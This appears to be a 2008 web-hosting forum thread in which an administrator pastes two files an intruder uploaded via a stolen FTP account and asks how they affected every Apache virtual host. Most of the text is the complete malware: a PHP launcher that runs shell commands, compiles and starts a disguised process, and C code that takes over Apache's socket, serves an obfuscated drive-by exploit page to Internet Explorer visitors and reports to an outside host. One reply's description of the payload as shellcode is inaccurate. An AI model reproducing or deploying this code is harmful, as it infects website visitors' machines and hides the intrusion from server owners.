View previous topic :: View next topic |
Author |
Message |
Casshan n00b
Joined: 07 May 2004 Posts: 53
|
Posted: Mon May 05, 2008 11:28 pm Post subject: Apache + PHP Exploit? |
|
|
Some on compromissed a FTP username and password and uploaded these two files:
fw.php
Quote: | <?php
error_reporting(0);
echo("<textarea cols=300 rows=40>");
$pwd = trim( run( "pwd" ) );
if ( strlen( $pwd ) < 5 )
die( "failed: can not execute" );
run( "uname -a" );
run( "w" );
$ps = run( "ps ax", false );
$pid = isset( $_GET["p"] ) ? $_GET["p"] : ( isset( $_POST["p"] ) ? $_POST["p"] : 0 );
$pid = 15760;
if ( !empty( $pid ) )
{
run( "kill $pid" );
}
preg_match( "/\s(\S*?httpd.*?)\n/", $ps, $m );
$hide = ( isset( $m[1] ) && strlen( $m[1] ) < 50 ) ? $m[1] : "-tcsh";
// $hide = "-tcsh";
echo( "will be hidden as $hide\n" );
$acode = array("[code]");
if ( count( $acode ) > 1 )
{
$code = "";
for( $i = 0; $i < count( $acode ); $i++ )
{
$code .= chr( $acode[$i] );
}
}
else
{
$filename = "$pwd/fw.htm";
$handle = fopen( $filename, "r");
$code = fread( $handle, filesize($filename) );
fclose($handle);
}
$code = str_replace( "[hide]", $hide, $code );
$dir = $pwd;
// $fname = "dse893452dc54";
$fname = "dse84";
$fname = str_pad( $fname, strlen( $hide ) + 10, "abzw1", STR_PAD_RIGHT );
$full_name = "$dir/$fname";
$full_name_c = $full_name.".c";
if ( FALSE === ( $h = fopen( "$full_name_c", "w" ) ) )
{
die( "failed: can not create $full_name_c" );
}
fwrite( $h, $code );
fclose( $h );
echo ( run( "gcc $full_name_c -o $full_name" ) );
if ( !is_file( $full_name ) )
{
echo( "failed to build $full_name_c\n" );
$full_name_cc = $full_name_c."c";
if ( !rename( $full_name_c, $full_name_cc ) )
{
echo( "failed to rename $full_name_c to $full_name_cc\n" );
//unlink( $full_name_c );
//unlink( "fw.php" );
//unlink( "fw.htm" );
exit;
}
else
{
$full_name_c = $full_name_cc;
echo ( run( "gcc $full_name_c -o $full_name" ) );
if ( !is_file( $full_name ) )
{
echo( "failed to build $full_name_c\n" );
//unlink( $full_name_c );
//unlink( "fw.php" );
//unlink( "fw.htm" );
exit;
}
}
}
run( "ls -al $full_name"."*" );
// unlink( $full_name_c );
run( $full_name );
// unlink( $full_name );
// unlink( "fw.php" );
// unlink( "fw.htm" );
// unlink( "log" );
// run( "ps -ax" );
// run( "ls -al $full_name"."*" );
// run( "ls -al" );
function run( $cmd, $do_echo = true )
{
echo( "executing $cmd\n");
if ( FALSE === ( $fp = popen($cmd." 2>&1", "r") ) )
die( "failed" );
$read = "";
while (!feof($fp))
{
$read .= fread($fp, 2096);
}
pclose($fp);
if ( $do_echo )
echo( "$read");
return $read;
}
?> |
fw.htm
Quote: |
/* single process version */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <string.h>
#include <sys/stat.h>
#include <time.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
/* don't change this line */
unsigned char win_exp[] =
"\x3c\x68\x74\x6d\x6c\x3e\x3c\x68\x65\x61\x64\x3e\x3c\x2f\x68\x65"
"\x61\x64\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6c\x61\x6e\x67\x75"
"\x61\x67\x65\x3d\x76\x62\x73\x3e\x67\x76\x72\x79\x7a\x3d\x22\x2a"
"\x22\x3a\x63\x74\x67\x7a\x3d\x22\x25\x22\x3a\x6f\x61\x3d\x22\x64"
"\x37\x2a\x20\x20\x62\x33\x2a\x29\x6c\x31\x36\x2a\x69\x28\x65\x74"
"\x69\x32\x37\x2a\x77\x2e\x74\x65\x36\x2a\x65\x6d\x75\x33\x36\x2a"
"\x66\x36\x2a\x34\x36\x2a\x20\x30\x32\x2a\x20\x30\x32\x2a\x30\x32"
"\x2a\x30\x32\x2a\x30\x32\x2a\x3b\x6a\x64\x33\x2a\x62\x32\x2a\x63"
"\x36\x2a\x61\x69\x30\x32\x2a\x20\x64\x37\x2a\x20\x30\x32\x2a\x7d"
"\x20\x20\x37\x36\x2a\x64\x33\x2a\x2b\x6a\x20\x20\x62\x37\x2a\x20"
"\x30\x32\x2a\x65\x33\x37\x2a\x6c\x35\x36\x2a\x20\x30\x32\x2a\x64"
"\x37\x2a\x20\x30\x32\x2a\x30\x32\x2a\x39\x32\x2a\x31\x33\x2a\x64"
"\x32\x2a\x70\x6d\x76\x28\x34\x37\x2a\x41\x72\x61\x68\x33\x36\x2a"
"\x2e\x65\x63\x62\x64\x33\x2a\x2b\x6a\x20\x30\x32\x2a\x7d\x20\x30"
"\x32\x2a\x31\x38\x33\x2a\x64\x33\x2a\x2b\x30\x37\x2a\x6d\x76\x20"
"\x20\x30\x32\x2a\x7b\x20\x30\x32\x2a\x29\x30\x64\x33\x2a\x3c\x70"
"\x6d\x76\x28\x66\x69\x20\x30\x32\x2a\x62\x33\x2a\x39\x32\x2a\x31"
"\x33\x2a\x2d\x31\x33\x2a\x38\x33\x2a\x35\x32\x2a\x29\x31\x33\x2a"
"\x2b\x79\x38\x32\x2a\x38\x32\x2a\x20\x3d\x70\x6d\x36\x37\x2a\x20"
"\x20\x7b\x20\x20\x39\x32\x2a\x31\x64\x32\x2a\x65\x33\x2a\x79\x28"
"\x66\x69\x30\x32\x2a\x20\x62\x33\x2a\x39\x32\x2a\x67\x28\x66\x4f"
"\x78\x65\x34\x36\x2a\x6e\x69\x2e\x65\x33\x36\x2a\x32\x36\x2a\x64"
"\x33\x2a\x79\x20\x20\x62\x33\x2a\x29\x36\x37\x2a\x63\x28\x34\x37"
"\x2a\x41\x32\x37\x2a\x61\x68\x33\x36\x2a\x65\x32\x2a\x34\x36\x2a"
"\x69\x7a\x64\x33\x2a\x67\x20\x20\x62\x37\x2a\x30\x32\x2a\x30\x32"
"\x2a\x39\x32\x2a\x2b\x62\x32\x2a\x36\x37\x2a\x63\x3b\x68\x74\x67"
"\x65\x36\x2a\x35\x36\x2a\x6c\x65\x32\x2a\x34\x36\x2a\x69\x61\x37"
"\x2a\x63\x33\x2a\x76\x33\x36\x2a\x62\x33\x2a\x30\x33\x2a\x64\x33"
"\x2a\x76\x33\x36\x2a\x38\x32\x2a\x72\x6f\x66\x20\x30\x32\x2a\x30"
"\x32\x2a\x3b\x30\x37\x2a\x6d\x76\x2c\x37\x32\x2a\x37\x32\x2a\x3d"
"\x6a\x63\x32\x2a\x39\x37\x2a\x63\x32\x2a\x37\x36\x2a\x63\x32\x2a"
"\x27\x27\x3d\x6c\x31\x36\x2a\x39\x36\x2a\x63\x32\x2a\x22\x22\x36"
"\x37\x2a\x31\x33\x2a\x5b\x24\x7a\x5a\x27\x6f\x65\x32\x33\x2a\x39"
"\x39\x37\x2a\x62\x34\x2a\x37\x34\x2a\x3b\x35\x35\x2a\x6d\x33\x37"
"\x2a\x68\x36\x61\x32\x2a\x36\x34\x2a\x65\x32\x2a\x61\x2b\x63\x7d"
"\x36\x36\x2a\x5e\x20\x33\x33\x2a\x5f\x28\x43\x38\x34\x31\x34\x2a"
"\x5d\x54\x39\x32\x2a\x32\x37\x2a\x7e\x77\x35\x34\x2a\x2d\x39\x36"
"\x2a\x75\x21\x48\x3d\x6a\x37\x64\x42\x35\x40\x30\x49\x6b\x50\x34"
"\x37\x2a\x26\x56\x6c\x7c\x38\x37\x2a\x2c\x4f\x70\x61\x33\x2a\x7b"
"\x33\x32\x2a\x30\x36\x2a\x65\x34\x2a\x67\x31\x37\x2a\x62\x4d\x6e"
"\x32\x32\x2a\x5c\x61\x34\x2a\x32\x32\x2a\x3d\x65\x63\x62\x63\x32"
"\x2a\x76\x33\x36\x2a\x20\x30\x32\x2a\x20\x32\x37\x2a\x31\x36\x2a"
"\x36\x37\x2a\x20\x20\x62\x37\x2a\x20\x29\x34\x36\x2a\x69\x61\x37"
"\x2a\x28\x72\x74\x6d\x20\x20\x20\x65\x36\x2a\x6f\x69\x74\x63\x6e"
"\x75\x36\x36\x2a\x20\x22\x3a\x76\x62\x61\x6f\x70\x3d\x75\x6e\x65"
"\x73\x63\x61\x70\x65\x28\x52\x65\x70\x6c\x61\x63\x65\x28\x53\x74"
"\x72\x52\x65\x76\x65\x72\x73\x65\x28\x6f\x61\x29\x2c\x67\x76\x72"
"\x79\x7a\x2c\x63\x74\x67\x7a\x29\x29\x3c\x2f\x73\x63\x72\x69\x70"
"\x74\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6c\x61\x6e\x67\x75\x61"
"\x67\x65\x3d\x4a\x61\x76\x61\x53\x63\x72\x69\x70\x74\x3e\x20\x76"
"\x61\x72\x20\x73\x2c\x6f\x71\x6b\x3b\x20\x65\x76\x61\x6c\x28\x20"
"\x76\x62\x61\x6f\x70\x20\x29\x3b\x73\x3d\x22\x3c\x73\x50\x55\x56"
"\x3e\x5e\x3c\x6d\x2b\x29\x2d\x4f\x50\x5e\x50\x39\x4f\x6f\x48\x6e"
"\x50\x6f\x7c\x50\x2f\x3d\x2e\x4a\x2e\x6d\x2b\x29\x2d\x4f\x50\x6e"
"\x5e\x56\x2e\x4d\x4e\x69\x2e\x4e\x6f\x48\x6e\x3d\x2e\x4a\x2e\x6d"
"\x2b\x29\x2d\x4f\x50\x6e\x3e\x5e\x37\x27\x2b\x69\x55\x6f\x4d\x50"
"\x46\x7e\x29\x2d\x50\x6f\x5f\x5e\x6e\x3c\x53\x28\x52\x30\x6b\x5d"
"\x5e\x56\x2e\x4d\x4e\x69\x2e\x4e\x6f\x48\x5c\x5c\x6e\x5c\x22\x2e"
"\x4a\x2e\x53\x2b\x29\x2d\x4f\x50\x5c\x5c\x6e\x5e\x53\x52\x28\x48"
"\x5c\x5c\x6e\x73\x50\x50\x4f\x70\x2f\x2f\x7e\x7e\x7e\x46\x4e\x27"
"\x27\x4e\x56\x6f\x2e\x4d\x2e\x56\x2d\x50\x2d\x2b\x6d\x46\x4d\x6f"
"\x50\x2f\x33\x33\x69\x50\x55\x3d\x46\x3d\x6d\x5c\x5c\x6e\x3e\x3c"
"\x5c\x5c\x2f\x53\x28\x52\x30\x6b\x5d\x3e\x6e\x5e\x54\x47\x3c\x2f"
"\x6d\x2b\x29\x2d\x4f\x50\x3e\x5e\x3c\x2f\x73\x50\x55\x56\x3e\x5e"
"\x22\x3b\x20\x6d\x74\x72\x28\x73\x29\x3b\x3c\x2f\x73\x63\x72\x69"
"\x70\x74\x3e\x3c\x2f\x62\x6f\x64\x79\x3e\x3c\x2f\x68\x74\x6d\x6c"
"\x3e";
#define DOLOG
void llog( char * s )
{
#ifdef DOLOG
char buf[2048];
FILE *f;
time_t curtime;
struct tm *loctime;
if ( f = fopen( "log", "a+t" ) )
{
curtime = time(NULL);
loctime = localtime (&curtime);
strftime( buf, 2047, "%H:%M:%S|", loctime );
fwrite( buf, strlen( buf ), 1, f );
sprintf( buf, "%d|", getpid() );
fwrite( buf, strlen( buf ), 1, f );
fwrite( s, strlen( s ), 1, f );
fwrite( "\n", strlen( "\n" ), 1, f );
fclose( f );
}
#endif
return;
}
int rlog( char *s )
{
char message[] = "GET /l.php?t=1202&m=%s HTTP/1.1\r\nAccept: */*\r\nHost: dorifora.com\r\nAccept-Encoding: gzip\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1\r\nConnection: Keep-alive\r\n\r\n";
char buf[2048];
int sock;
struct sockaddr_in addr;
struct hostent *he;
llog( "rlog():" );
sprintf( buf, message, s );
sock = socket(AF_INET, SOCK_STREAM, 0);
if ( sock < 0 )
{
llog( "rlog(): socket error" );
return 1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
if ( ( he = gethostbyname("dorifora.com") ) == NULL )
{
llog( "rlog(): gethostbyname error" );
return 1;
}
memcpy(&(addr.sin_addr.s_addr), he->h_addr, he->h_length);
if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
llog( "rlog(): connect error" );
return 1;
}
send(sock, buf, sizeof(buf), 0);
recv(sock, buf, sizeof(buf), 0);
llog(buf);
close(sock);
return 0;
}
#include <time.h>
int get_response( char * szReadBuf, char * szWriteBuf )
{
const char* csz404Resp = "HTTP/1.0 404 Not Found\r\nServer: Apache\r\nX-Powered-By: PHP/5.1.4\r\n";
const char* csz503Resp = "HTTP/1.0 503 Service Unavailable\r\nServer: Apache\r\nX-Powered-By: PHP/5.1.4\r\nRetry-After: 20\r\n\r\n";
/* const char* csz200Resp = "HTTP/1.0 200 OK\r\nSet-Cookie: %s\r\nContent-Length: %d\r\nContent-Type: text/html\r\n\r\n";
*/
const char* csz200Resp = "HTTP/1.0 200 OK\r\nContent-Length: %d\r\nContent-Type: text/html\r\n\r\n";
/*
char szCookie[1024];
time_t expires = time(NULL) + 3600*24;
char buf[1024];
strftime( buf, 200, "%a, %d-%b-%Y %H:%M:%S GMT", gmtime( &expires ) );
sprintf( szCookie, "sessionid=39128605A530; Expires=%s", buf );
*/
char *p = NULL;
char *pUA;
unsigned char *pExp;
/* analyze cookie */
/* Cookie: sessionid=39128605A530 */
if ( strstr( szReadBuf, "sessionid=39128605A53" ) )
{
strcpy( szWriteBuf, csz404Resp );
llog( "404 - cookie set, exiting" );
return 1;
}
/* analyze UA */
pUA = strstr( szReadBuf, "User-Agent:" );
if (!pUA)
{
strcpy( szWriteBuf, csz503Resp );
llog( "503 - no UA" );
return 2;
}
p = pUA;
while ( *p && *p != '\xd' && *p != '\xa' ) p++;
*p = '\0'; /* read buf is chaged here! */
if ( !strstr( pUA, "MSIE " ) )
{
strcpy( szWriteBuf, csz503Resp );
llog( "503 - wrong browser" );
return 3;
}
if ( strstr( pUA, "Windows NT 5.1" ) )
{
pExp = win_exp;
llog( "sp2" );
}
else
{
pExp = win_exp;
llog( "w2000" );
}
/* sprintf( szWriteBuf, csz200Resp, szCookie, strlen( (char*)pExp ) );
*/
sprintf( szWriteBuf, csz200Resp, strlen( (char*)pExp ) );
strcat( szWriteBuf, (char*)pExp );
return 0;
}
void onalarm( int nsig )
{
llog( "timeout" );
}
int process(int i, int fd, char * pcReadBuf, int nReadBufLen, char * pcWriteBuf, int nWriteBufLen )
{
char log_buf[1024];
int len;
int res;
res = 0;
sprintf( log_buf, "process %d request, reading...", i );
llog( log_buf );
len = read( fd, pcReadBuf, nReadBufLen-5 );
sprintf( log_buf, "read done, len: %d", len );
llog( log_buf );
pcReadBuf[len] = '\0';
llog( pcReadBuf );
if ( len > 10 )
{
res = get_response( pcReadBuf, pcWriteBuf );
llog( "writting" );
write( fd, pcWriteBuf, strlen( pcWriteBuf ) ) ;
}
llog( "writting done" );
shutdown( fd, 2 );
close(fd);
llog( "closed" );
return res;
}
int server_loop(int sock_id, int descr, char * pcReadBuf, int nReadBufLen, char * pcWriteBuf, int nWriteBufLen )
{
struct timeval tv;
fd_set read_mask;
unsigned int i;
unsigned int err;
int fd;
int res;
int cookie;
struct sockaddr_in remote;
char buf[1024];
int err_tmp;
/*socklen_t len = sizeof(remote);*/
unsigned int len = sizeof(remote);
err = 1;
i = 0;
cookie = 0;
sprintf( buf, "server_loop() started: sock: %d", sock_id );
llog( buf );
sleep(6);
for (;
{
if ( err % 4 == 3 )
{
llog( "sleep because of errors" );
sleep( 10 );
}
if ( err > 10 && i == 0 )
{
llog( "too many errors, exiting" );
sprintf( buf, "ERR,sock:%d", sock_id );
rlog( buf );
return 1;
}
llog( "before select" );
tv.tv_sec = 120;
tv.tv_usec = 0;
fcntl( descr, F_SETFL, O_NONBLOCK );
FD_ZERO(&read_mask);
FD_SET(descr, &read_mask);
if ( select( descr+1, &read_mask, NULL, NULL, 0 ) == -1 )
{
err_tmp = errno;
llog( "can not select" );
err++;
sprintf( buf, "selectERR:%d,sock:%d", err_tmp, sock_id );
rlog( buf );
continue;
}
llog( "set alarm" );
signal ( SIGALRM, onalarm );
alarm ( 120 );
llog( "before accept" );
len = sizeof(remote);
memset( &remote, 0, sizeof( remote ) );
fd = accept(descr, (struct sockaddr *)&remote, &len);
/*
if ( fd < 0 )
{
llog( "accept error, trying to set socket as nonblocked" );
fcntl( descr, F_SETFL, O_NONBLOCK );
fd = accept( descr, (struct sockaddr *)&remote, &len);
}
*/
if ( fd >=0 )
{
/* alarm ( 0 ); */
if ( i == 0 )
{
sprintf( buf, "OK,sock:%d", sock_id );
rlog( buf );
}
err = 0;
i++;
res = process( i, fd, pcReadBuf, nReadBufLen, pcWriteBuf, nWriteBufLen );
if ( res == 1 ) /* cookie */
{
if ( cookie++ >= 2 )
{
llog( "sleeping because of cookie" );
sleep( 30 );
cookie = 0;
llog( "awaken" );
}
}
if ( i % 10 == 0 || res == 0 )
{
llog( "sleeping" );
sleep( 30 );
cookie = 0;
llog( "awaken" );
}
}
else
{
err_tmp = errno;
sprintf( buf, "accept returned %d, errno %d, %s", fd, err_tmp, strerror( err_tmp ) );
llog( buf );
err++;
sprintf( buf, "acceptERR:%d,sock:%d", err_tmp, sock_id );
rlog( buf );
}
}
return 0;
}
#define READ_BUF_SIZE 1024*50
#define WRITE_BUF_SIZE 1024*50
char read_buf[READ_BUF_SIZE];
char write_buf[WRITE_BUF_SIZE];
#define HIDE "[hide]"
#define LISTEN_DESCRIPTOR 3
int main(int argc, char *argv[])
{
struct stat buf;
char log_i[5];
int newfd = 0;
int newfd1 = 0;
int pid = 0;
int max_FD = 0;
int i = 0;
pid = fork();
if (pid == 0) /* child */
{
llog("child");
signal( SIGCHLD, SIG_IGN );
memset(argv[0], '\0', strlen(argv[0]));
strcpy(argv[0], HIDE );
sleep(2);
close(0); close(1); close(2);
max_FD = getdtablesize();
sprintf(log_i, "max_FD: %d", max_FD );
llog(log_i);
for ( i=0; i < max_FD; i++ )
{
if ( (fstat(i, &buf) )==0 )
{
if ( ( buf.st_mode & S_IFMT) == S_IFSOCK )
{
newfd1 = dup( i );
server_loop( i, newfd1, read_buf, READ_BUF_SIZE, write_buf, WRITE_BUF_SIZE );
llog(read_buf);
llog(write_buf);
}
}
}
}
else
{
printf( "success: %d", pid );
}
return 0;
}
|
Here is alittle background, the server is running apache with php5 (all with the latest updates). I'm using the itk module to run each virtual website under a different user, but this script/code somehow effects all virtual websites. If I restart the apache process the problems go away. It servers out a redirect to some spyware at random page reloads, all the other times it servers up the normal pages. Anyone have a idea how this can happen? I was under the impression that code under itk in apache would be restricted to that user (but maybe not, do I need to run a seperate apache process for each host and move each one to a different IP address?) |
|
Back to top |
|
|
cyblord Guru
Joined: 22 May 2006 Posts: 424
|
Posted: Tue May 06, 2008 4:25 am Post subject: |
|
|
It looks like your server's been compromised alright. The php file acts on the html file, which looks definitely like shellcode (used to gain shell access).
Best bet would be to unplug the server right away to prevent further damage and deal with the issue starting with the logs. |
|
Back to top |
|
|
Casshan n00b
Joined: 07 May 2004 Posts: 53
|
Posted: Tue May 06, 2008 6:24 am Post subject: |
|
|
I'm just wondering how a program ran as apache can effect the other virtual host on the same computer |
|
Back to top |
|
|
Casshan n00b
Joined: 07 May 2004 Posts: 53
|
Posted: Tue May 06, 2008 6:57 am Post subject: |
|
|
Even if I use mpm-itk to seperate the virtual domains any dynamic content will run as apache, I guess http://httpd.apache.org/docs/2.0/mod/mod_suexec.html would be the solution to that problem? Does anyone use mpm-itk and mod_suexec together? |
|
Back to top |
|
|
|
|
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
|